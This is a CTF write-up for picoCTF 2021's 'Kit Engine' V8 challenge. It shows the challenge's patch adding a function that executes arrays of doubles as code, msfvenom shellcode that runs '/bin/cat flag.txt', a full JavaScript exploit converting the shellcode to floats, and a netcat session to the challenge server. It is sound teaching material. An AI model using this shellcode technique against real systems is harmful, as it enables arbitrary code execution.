Kit Engine - picoCTF 2021

Kit Engine is a browser exploitation challenge from picoCTF 2021 featuring the V8 JavaScript engine.

Summary

First, let’s inspect the diff of the challenge’s patch file.

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..35195b9261 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -979,6 +979,53 @@ struct ModuleResolutionData {
 
 }  // namespace
 
+uint64_t doubleToUint64_t(double d){
+  union {
+    double d;
+    uint64_t u;
+  } conv = { .d = d };
+  return conv.u;
+}
+
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  __asm__("int3");
+}
+
+void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  Isolate* isolate = args.GetIsolate();
+  if(args.Length() != 1) {
+    return;
+  }
+
+  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  if (func == (double *)-1) {
+    printf("Unable to allocate memory. Contact admin\n");
+    return;
+  }
+
+  if (args[0]->IsArray()) {
+    Local<Array> arr = args[0].As<Array>();
+
+    Local<Value> element;
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
+        Local<Number> val = element.As<Number>();
+        func[i] = val->Value();
+      }
+    }
+
+    printf("Memory Dump. Watch your endianness!!:\n");
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
+    }
+
+    printf("Starting your engine!!\n");
+    void (*foo)() = (void(*)())func;
+    foo();
+  }
+  printf("Done\n");
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
+  // Add challenge builtin, and remove some unintented solutions
+  global_template->Set(isolate, "AssembleEngine", FunctionTemplate::New(isolate, AssembleEngine));
+  global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
-
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
-  global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
   if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
 
 #ifdef V8_FUZZILLI
   global_template->Set(
@@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
 #endif  // V8_FUZZILLI
 
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
-
   return global_template;
 }
 
@@ -2449,10 +2466,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
-  isolate->SetHostImportModuleDynamicallyCallback(
+  /*isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+      Shell::HostInitializeImportMetaObject);*/
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..4591d27f65 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,9 @@ class Shell : public i::AllStatic {
     kNoProcessMessageQueue = false
   };
 
+  static void AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<Value> name, PrintResult print_result,
                             ReportExceptions report_exceptions,

There is a new function, AssembleEngine, that accepts an array of 64-bit floating point numbers (e.g., shellcode) as input and then executes it. Therefore, the shellcode that will output the flag can be generated with msfvenom.

$ msfvenom -f num -p linux/x64/exec -a x64 --platform linux CMD='/bin/cat flag.txt'
No encoder specified, outputting raw payload
Payload size: 54 bytes
Final size of num file: 330 bytes
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 
0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x12, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 
0x6e, 0x2f, 0x63, 0x61, 0x74, 0x20, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74, 0x00, 
0x56, 0x57, 0x54, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05

The shellcode must be converted to 64-bit floating point numbers as JavaScript is unable to express arbitrary 64-bit integers (e.g., addresses) with primitive numbers. This can be achieved by pointing a Float64Array and a Uint8Array to the same ArrayBuffer. The bytes can then be iteratively copied to the elements of the first 8 indices of the Uint8Array. Each time 8 bytes are copied, the first element of the Float64Array is pushed to the payload, which is now in the correct, converted form that JavaScript requires.

Once the payload is filled with the shellcode now represented as 64-bit floating point numbers, the AssembleEngine function can be called with the payload as the argument. Test it locally by running the local d8 binary. As seen, it attempts to output the flag although the file does not exist locally.

$ ./d8 x.js
Memory Dump. Watch your endianness!!:
0: float 6867659397734778795023688491907476276397921039218413794241002918315737624725490893490402886456294533886670305323014584593202819491267168509038326954385429557923702443900488339929277825865195878242076146578109782179095813159358397168443397070913536.000000 hex 732f6e69622fb848
1: float 78066153533647660185425595109675815502084421455943666621592815013056129630929292163953055054770339867108244890180283161193044228772770111015056400657826077884429750381650438765712244736.000000 hex 66525f5450990068
2: float 0.000000 hex 12e8525e54632d68
3: float 0.000000 hex 2f6e69622f000000
4: float 9703781729427138130143053706259829625467222129868865937472037580960341624064671746407334247452595729929874315643652022107714270848708778508050710057365453422225177643072257445528538131202048.000000 hex 67616c6620746163
5: float 199381099197903712339613422936448926867898516176427401692858099362792803412399269469776574863638528.000000 hex 545756007478742e
6: float -0.000000 hex 9090050f583b6a5e
Starting your engine!!
/bin/cat: flag.txt: No such file or directory

With the exploit working locally, run the finalized exploit against the official remote challenge to obtain the flag.

# Get file size
$ wc -c x.js
942 x.js

# Run official challenge
$ nc mercury.picoctf.net 60514
Provide size. Must be < 5k:942
Provide script please!!
# Paste your JavaScript exploit here
# ...
File written. Running. Timeout is 20s
Run Complete
Stdout b'picoCTF{FLAG}\n'
Stderr b''

Exploit

// x.js
let buf = new ArrayBuffer(8);
let f64_buf = new Float64Array(buf);
let u64_buf = new Uint8Array(buf);

// msfvenom -f num -p linux/x64/exec -a x64 --platform linux CMD='/bin/cat flag.txt'
// Payload size: 54 bytes
// Pad the payload with NOP instructions to be 56 bytes (56 % 8 == 0)
let shellcode = [
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
    0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 0x66,
    0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x12,
    0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
    0x63, 0x61, 0x74, 0x20, 0x66, 0x6c, 0x61, 0x67,
    0x2e, 0x74, 0x78, 0x74, 0x00, 0x56, 0x57, 0x54,
    0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05, 0x90, 0x90,
];

let payload = [];

for (let i = 0; i < shellcode.length; i++) {
    u64_buf[i % 8] = shellcode[i];

    // Push converted Float64 to payload once ArrayBuffer is filled with 8 bytes
    if (i % 8 == 7) {
        payload.push(f64_buf[0]);
    }
}

AssembleEngine(payload);

Resources